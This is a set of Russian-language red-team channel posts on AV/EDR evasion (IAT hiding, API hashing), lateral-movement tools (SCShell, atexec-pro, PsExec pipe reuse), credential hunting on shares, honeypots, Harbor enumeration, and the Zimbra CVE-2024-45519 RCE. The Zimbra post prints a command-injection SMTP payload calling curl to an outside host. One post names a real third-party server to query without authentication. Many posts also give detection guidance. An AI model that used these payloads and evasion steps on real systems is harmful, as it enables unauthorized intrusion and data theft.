#iat #av #bypass #api #hashing

Еще один из способов для антивируса выявить возможную зловредную активность - это анализ Import Address Table (IAT). Это таблица, содержащая импортируемые функции из DLL-библиотек нашей программой.
Соответственно, если мы собираемся вызывать какие-то подозрительные функции из нашего кода, то они упадут в IAT.
Посмотреть список импортов можно так:

dumpbin /imports .\binary.exe

К способам обхода относятся:
1) Статическая линковка (по сути включаем нужные библиотеки в состав самой программы)
2) Динамическая загрузка необходимых функций в коде (указываем лишь dll)
3) Сократить число импортируемых функций через отключение Run-Time библиотек (MSCRT) - уменьшит энтропию файлов. Если кратко - энтропия характеризует файл на предмет шифрования и упаковщика. Вредоносы обладают повышенной энтропией, а потому если энтропия файла выше определенной границы, то можно сказать, что файл с большой долей вероятности - вредонос.
4) API Hashing для скрытия названий функций
5) Подделка IAT. Нужна на тот случай, чтобы антивирус не среагировал на пустой IAT. Поэтому мы грузим функции и заставляем их выполнять пустые действия.

Ссылки:
- [2023] Статья с примерами реализации: https://xakep.ru/2023/09/05/hiding-iat/
- [2023] Api Hashing https://xakep.ru/2023/10/06/api-hashing/
- [2024] Чуть больше способов скрытия: https://www.rotta.rocks/offensive-tool-development/bypassing-av/hiding-and-obfuscating-iat
- [2024] И там же про camouflaging https://www.rotta.rocks/offensive-tool-development/anti-analysis-techniques/hiding-camouflaging-iat#camouflaging-iat
- [2019] Про энтропию файлов : https://practicalsecurityanalytics.com/file-entropy/

#kerberos #potato #edr

Пара статей на тему скрытности действий через Cobalt Strike в контексте Elastic EDR на примере киллчейна aspx upload -> SeImpersonatePrivilege -> lsass dump.

https://sokarepo.github.io/redteam/2024/01/04/increase-your-stealth-capabilities-part1.html
https://sokarepo.github.io/redteam/2024/01/04/increase-your-stealth-capabilities-part2.html

Если кратко:
- Используется кастомный лоадер https://github.com/xforcered/BokuLoader
- При исполнении нагрузки aspx создается не новый процесс, а инжект в текущий
- Повышение через модифицированный CoercedPotato в Reflective DLL
- Альтернативное повышение через S4U2Self с последующим доступом к WinRM.
- Как альтернатива дампу lsass дампается LSA через https://github.com/RalfHacker/Kerbeus-BOF. И далее тикеты кербероса используются для дальнейшего продвижения по сети.

#recon #shares #post

Иногда что-нибудь ценное можно найти на шарах (файлы с кредами, персональные данные, какие-то пруфы реализации целей пентеста), для этих целей можно использовать скрапперы:
PowerView:

Find-InterestingDomainShareFile -Include *.doc*, *.xls*, *.csv, *.ppt*

Либо Snaffler (C#) (https://github.com/SnaffCon/Snaffler)
Python: https://github.com/blacklanternsecurity/MANSPIDER

Оба умеют искать и по названию файлов, и по содержимому.

С точки зрения OpSec это шумно - куча коннектов и попыток аутентификации на все шары в сети, а потому такой подход пойдет, когда нет задачи скрываться.

Более скрытный вариант использования - это запускать инструменты для локального поиска файлов. С точки зрения событий это будет просто поиск файлов в системе.

./Snaffler.exe -i C:\ -s

Ссылки:
- https://www.thehacker.recipes/ad/movement/credentials/dumping/network-shares
- Порт снаффлера на питон https://github.com/asmtlab/snafflepy

#zimbra #rce

Вышла новая CVE-2024-45519 на Zimbra Collaboration Suite < 9.0.0, а именно на сервис postjournal. Уязвимость позволяет выполнить удаленный код без аутентификации
В дополнение к другим постам хочу отметить, что по умолчанию Zimbra не будет уязвима, необходим включенный модуль postjournal.

Пример эксплуатации:

EHLO localhost
MAIL FROM: <aaaa@mail.domain.com>
RCPT TO: <"aabbb$(curl${IFS}oast.me)"@mail.domain.com>
DATA
Test message
.

Так же для эксплуатации необходим один из двух пунктов:
- находится в локальной либо разрешенной сети (список mynetworks), либо рассчитывать что она будет некорректно сконфигурирована
- пройти аутентификацию.

Публичные эксплойты (шаблон nuclei в том числе) проверяют возможность эксплуатации без аутха.

Детали в отличном разборе в блоге ProjectDiscovery.

Ссылки:
- Разбор: https://blog.projectdiscovery.io/zimbra-remote-code-execution/
- Шаблон: https://github.com/projectdiscovery/nuclei-templates/pull/10860

#rpc #shell #rpcfilter

Сегодня познакомимся с инструментом для выполнения кода с использованием уже имеющихся сервисов в системе - SCShell (https://github.com/Mr-Un1k0d3r/SCShell/). В репе есть пример реализации на C# и Python.

Принцип работы прост, но отличается от PSExec и SMBExec. При запуска указывается имя сервиса (по умолчанию XblAuthManager), далее через svcctl (интерфейс служб) заменяет его бинарь (binary path) на 'C:\windows\system32\cmd.exe /c <команда>, запускает сервис. После выполнения возвращает исходное состояние сервиса. При таком обмене атакующий не получает вывода команды, но это позволяет не трогать жесткий диск.

Ключевая особенность этого инструмента в том, что всё взаимодействие с целью происходит по DCERPC, а значит событий 5145 (доступ к шаре \PIPE\svcctl) не будет.

Как в итоге ловить?

Для анализа трафика RPC нам необходимо, например, настроить логгирование через ETW, либо настроить RPC фильтры.

Для настройки RPC фильтров необходимо включить Аудит событий RPC (в категории подробное отслеживание) и настроить сам фильтр:

Предположим нас интересует фильтр на доступ к svcctl через RPC, у него uuid будет 367abb81-9844-35f1-ad32-98f038001003 (из доки MS):

rpc filter
add rule layer=um actiontype=permit audit=enable
add condition field=if_uuid matchtype=equal data=367abb81-9844-35f1-ad32-98f038001003
add filter

Сохраняем это в файл, устанавливаем фильтр через netsh:

netsh -f rpcauditrule.txt

Далее в журнале ищем события с EventId 5712, это и будут наши обращения к svcctl через RPC. При таком методе мы не можем понять к каким именно функциям было обращение, это можно обогатить через трафик, а именно через поле OpNum.

Аналогично при помощи RPC Filter можно ловить и другие интерфейсы, которые используют атакующие, детали в ссылках ниже.

Ссылки:
- Детальная статья по теории RPC и мониторингу: https://habr.com/ru/companies/rvision/articles/716656/
- Репа с другими сервисами RPC и их ловле: https://github.com/jsecurity101/MSRPC-to-ATTACK/

#psexec #nxc
PsExec с низкопривилигированной УЗ

PsExec загружает на удаленный хост исполняемый файл 10-ти летней давности и создает службу, которая его запускает от имени системы - для этого и необходимы права администратора.
Сам файл в свою очередь это бинарь из https://github.com/kavika13/RemCom/, хранимый в виде хекса в Импакете.
При запуске он поднимает пайп RemCom_Communication и после подключения со стороны Импакета к этому пайпу создается еще три: RemCom_stdin*, RemCom_stdout* и RemCom_stderr*, через которые уже и ведется дальнейшее выполнение команд и передача вывода. При нормальном выходе (через exit) будет выполнена зачистка - остановлена служба, удалены файл и служба, в результате чего пайпы удалятся.

Однако если из командной оболочки выйти "классическим" способом через Ctrl+C, то зачистка не происходит - в системе продолжает висеть запущенный сервис и наш бинарь. Будет висеть до следующей перезагрузки компа, поскольку сервис создается без автостарта.

Это можно использовать для повторной компрометации машины с низкопривилегированной УЗ.
Готовый скрипт лежит тут: https://github.com/MzHmO/psexec_noinstall
По сути, мы просто пропускаем этап установки службы и сразу переходим к работе с имеющимися пайпами.

Для обнаружения уязвимых хостов написал модуль для NetExec - https://github.com/beaverdreamer/nxc-modules
Принцип работы прост: мы с предоставленной учеткой запрашиваем доступные пайпы (через IPC$) и выводим сообщение, если в списке видим RemCom_communication.

Стоит подсветить, что это имя пайпа можно изменить, и если оно было изменено, то этот модуль не сработает.

Учитывая, что сервис не поднимается после рестарта ПК, то имеет смысл запускать на инфраструктуре после недавнего пентеста, либо на скоупе постоянно работающих серверов.

В этом посте кратко познакомимся с инструментом atexec-pro (https://github.com/Ridter/atexec-pro). Позволяет выполнять команды (в том числе powershell), загружать-скачивать файлы и выполнять .NET в памяти. Для последних трех ограничение в размере - 1 МБ.

Atexec-pro под капотом использует сервис TSCH против привычного ATSVC и работает через TCP (т.е. пайпы не используем). На мой взгляд примечательно то, что в своей работе он файловую систему практически не трогает (кроме создания самой таски), но при этом позволяет получать нам вывод. Обычно подобные инструменты для этих целей используют промежуточный файл на диске, который затем удаляют (atexec, smbexec, wmiexec). AtExec-pro же для хранения вывода команды использует описание задачи :)

Давайте разберем принцип выполнения отдельной произвольной команды в этом инструменте:
1) Формируются рандомное имя задачи (состоит из 8 символов [A-Za-z]) и рандомный ключ
2) Команда, которую мы хотим исполнить шифруется этим ключом (AES) и в дальнейшем будет записана в описание задачи, думаю этим и вызван максимальный размер.
3) Далее берется шаблон PS скрипта, в нём мы указываем ключ из шага 1, который предварительно конвертировали в base64, и указываем имя задачи. В случае обычной команды это будет https://github.com/Ridter/atexec-pro/blob/main/libs/powershells/cmd.ps1. Сам скрипт по имени задачи дергает описание, расшифровывает его, выполняет команду и далее обновляет описание с выводом этой команды.
4) Далее полученный PS скрипт переводим в base64. Этот скрипт будем выполнять в самой задаче при выполнении через powershell -enc.
5) Создаём задачу и запускаем её.
6) Далее в цикле дергаем задачу, ждём её остановки и забираем результат.
7) Удаляем задачу.

Что в итоге имеем на хосте?

Событие 4698 на создание задачи (будет в Action команда powershell.exe -NonInteractive -enc <...>)
События 4688 на запуск процесса
Событие 4104 на выполнение скрипта powershell
Событие 4702 на обновление задачи после выполнения команды (запись вывода)
Событие 4699 на удаление задачи

Наибольшую ценность в плане детекта имеют события 4698 и 4104.
4698 содержит описание созданной задачи, в ней мы можем зацепиться за фиксированную для atexec и atexec-pro строку <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary> в поле TaskContent.
4104 в данном случае будет содержать переведенную из Base64 строку (то есть не обфусцированную), именно в ней можно увидеть ранее рассмотренный выше шаблон с заполненными полями. 4104 включается через Script Block Logging, если явно он не включен, то будет логироваться через AMSI (будет логировать только подозрительные на своё усмотрение в журнал Powershell/Operational). На основе этого события можно надергать ключевых элементов для детекта из поля noscript_block_text.

Если у вас используются RPC-фильтры, то действуем аналогично SCShell (https://news.1rj.ru/str/beaverdreamer/169), в данном случае у сервиса UUID 86D35949-83C9-4044-B424-DB363231FD0C.


#rpc #atexec #schtasks

Honeypot, упрощенно, это ресурс в инфре, который намеренно создаётся для привлечения внимания хакера в сети. Как именно он реализован - это уже вопрос фантазии. Главное чтобы с задачей справлялся.

Несколько примеров:
- Уязвимое сетевое устройство, попадая на которое хакер потратит много времени
- Учетная запись в AD с простым паролем, вход под которой (или обращение к ней) позволяет вредоносную активность
- Файл на сетевой шаре, который при открытии триггерит удаленный маячок (например, Canary-токен)
- Даже есть пример реализации ханипота на базе ADCS (https://github.com/srlabs/certiception)
- Машины в сети, которые рассылают широковещательные запросы в локальных сегментах и отслеживают появление ответа (т.е. запуск тулзы по типу Responder)

А поскольку мы ставим своей целью привлечь на ханипот хакера, то он должен соответствовать простым требованиям:
- Быть на виду. Здесь логично использовать ханипоты, которые сразу попадут во внимание через тулзы сбора информации (тот же Bloodhound, который многие юзают через кнопку Shortest Path to DA).
- Часто встречаться в типовой инфраструктуре
- Быть точкой интереса (иметь ценность для хакера)
- Не нести реального вреда для собственной инфраструктуры (компрометация этого актива ничего не даст)
- Активность на нём должна быть легка детектируема и нести минимум фолзов, иначе просто рискует из ценного актива превратиться в yet another false positive

Подробнее про рекомендации к построению ханипотов есть в презентации Security Research Lab, в том числе как можно напортачить при их создании.

Обычно создание HoneyPot преподносится как нечто сложное, что проще купить у вендора, однако базовые потребности можно закрыть самостоятельно, в помощь статья от BHIS, в которой показано как создать УЗ в домене и настроить для неё детект событий входа, обращения (ADExplorer / Bloodhound) и Kerberoasting, что покрывает типовые действия на пентесте.

Как обнаружить ханипот с позиции атакующего? На этот вопрос Ральф уже ответил в своей статье на хакере - искать аномалии сравнивая со среднем в инфре.
Кратко:
- Избегать неконтроллируемого сбора информации тулзами
- Часто у ханипот записей некорректные атрибуты: никогда не заходили под УЗ, badPwdCount стремится к нулю, logonCount меньше чем в среднем по домену (3-4 против 50). Применительно к керберостингу мы можем выгрузить перечень УЗ с SPN записями и дергать только с недавней датой входа.
- Для обнаружения самых распространенных способов формирования ханипотов можно использовать скрипт на psh - HoneypotBuster

#honeypot #detect

Если вы когда-либо взаимодействовали с вебчиками и находили там swagger, вероятно, вы могли использовать swagger-ui, для проверки возможности отправки запросов.
Бывает, что для какого-то API может не быть собственной библиотеки, либо нет библиотеки на том языке программирования, которым вы владеете. Так вот ровно для таких целей есть вариант ленивого программиста. Можно скормить в swagger editor спецификацию API и:
1. Сделать обвязку сервера под эту спецификацию.
2. Сделать клиента под этот API на одном из поддерживаемых языков.
Такой функционал можно использовать и на пентестах (например, какой-то сложный эксплойт с обращением к разным ручкам и другим танцам с бубнами), и просто для каких-то своих автоматизаций. Например, вы хотите автоматизированного дергать какой-то сервис для своих целей, но у него нет готовой библиотеки. Ее можно сделать с помощью Swagger Editor 🙂
#swagger #api #openapi

Часто ли вы используете VS Code?
Представим, что на пентесте вы получаете учетку или доступ по SSH. Есть WinSCP и похожие утилиты, которые позволяют с легкостью серфить по файловой системе хоста. Но что, если я скажу вам, что необязательно устанавливать доп. утилиты и достаточно одной IDE?) Для этого можно использовать расширение для VS Code "Remote - SSH: Editing Configuration Files". Оно подключается по SSH и позволяет взаимодействовать с файловой системой хоста. А еще оно может подключаться сразу к запущенным Docker контейнерам на удаленном хосте и все это не выходя из VS Code. Есть даже проброс портов, но он маршрутизируется через сервера Microsoft и все соединения осуществляются через их сервер😐. Иные применения вы можете открыть для себя сами, если изучите функционал этого расширения
#VSCode #SSH

На прошлой неделе пошумел выход нового скрипта psexecsvc.py, на волне слоупоков давайте разбираться что там интересного.

Как ранее уже писал, psexec.py использует под капотом библиотеку RemCom и поднимает ряд пайпов (RemCom*) на целевой машине. С ним беда в том, что сам бинарь детектируется всеми, кому не лень и и использует пайпы (их всего 4), которые сами по себе детектируются тем же Sysmon с конфигом от SwiftOnSecurity. Сам бинарь можно изменить, чтобы сбить сигнатуры. Можно имена пайпов изменить и избежать типового детекта, но все равно где-то можно спалиться, хотя бы по тому же поведенческому анализу, поскольку выполняем какие-то команды системные от недавно загруженного бинаря.

В свою очередь psexecsvc.py выходит на сцену с подписанным бинарём от SysInternals. Сама подпись очень сильно повышает доверие со стороны антивирусного средства, а используемый пайп по умолчанию (psexeсsvc*) не детектируется через конфиг Sysmon. Скорее всего потому что его регулярно используют админы.

При реализации детекта нужно учитывать следующее:
1) Имя пайпа зависит от имени загруженного файла. Так, если мы загрузим файл с именем "beaver.exe", имя пайпа будет иметь уже префикс beaver*
2) Имя сервиса (PSEXESVC) может быть изменено
3) Если вы опираетесь на детект создания сервисов через пайп svcctl, то зря - это можно сделать через RPC-TCP, там у вас фильтры не настроены, скорее всего
4) Сам файл не может быть изменён, иначе будет поломана подпись. Соответственно можно опираться на хеш-суммы файла, не зря же их Sysmon собирает. Ищем в событиях Process Created хеши MD5=5CB94F11459DA45D647D888EF4438B5B,SHA256=714D90445775684F61E4589CA6868077A72F733B857B94C307397877A350B46A,IMPHASH=463E73EC0F70B68EE0EB83A0DF4A5698
5) Так же в этом скрипте используется устаревшая версия PSEXECSVC - 1.9. Используется именно она, потому что в ней трафик летает незашифрованный и удалось восстановить структуру служебных сообщений для общения. Соответственно если у вас есть решения на сети, то можно накатить правило на обнаружение таких пакетов, а еще заодно собирать имя скомпрометированной учетной записи (передаётся в открытом виде).

Больше деталей в источнике, сама статья от авторов скрипта: https://sensepost.com/blog/2025/psexecing-the-right-way-and-why-zero-trust-is-mandatory/

#psexec #impacket

Не так давно мы затрагивали тему использования Harbor для взаимодействия с Docker registry, но не затронули тему получения информации о контейнерах из самого Harbor, если у нас нет учетной записи.
В Harbor есть режим публичного (public) доступа к образам контейнеров, но стандартный GET-запрос к /v2/_catalog вернет HTTP 401.
Думаю, не стоит объяснять, что наличие выставленного public-доступа никак не влияет на важность содержимого, которое можно извлечь из кастомных образов контейнеров, которые не встретишь в Docker Hub.
Здесь на помощь может прийти сам Harbor, точнее, его API. API версии 2.0 поддерживает поиск по всему Harbor и позволяет получить информацию об образах контейнеров даже не авторизованному пользователю.
Пример GET-запроса:
https://host/api/v2.0/search?q=/
Пример какого-то Harbor из Censys:
https://51.158.77.232/api/v2.0/search?q=/
Как показывает практика, одного слеша ('/') вполне достаточно для поиска. Так же можно выполнить поиск по алфавиту ( просто перебрать все буквы по одной)
Из UI можно просто воспользоваться поиском на странице аутентификации в Harbor 🙂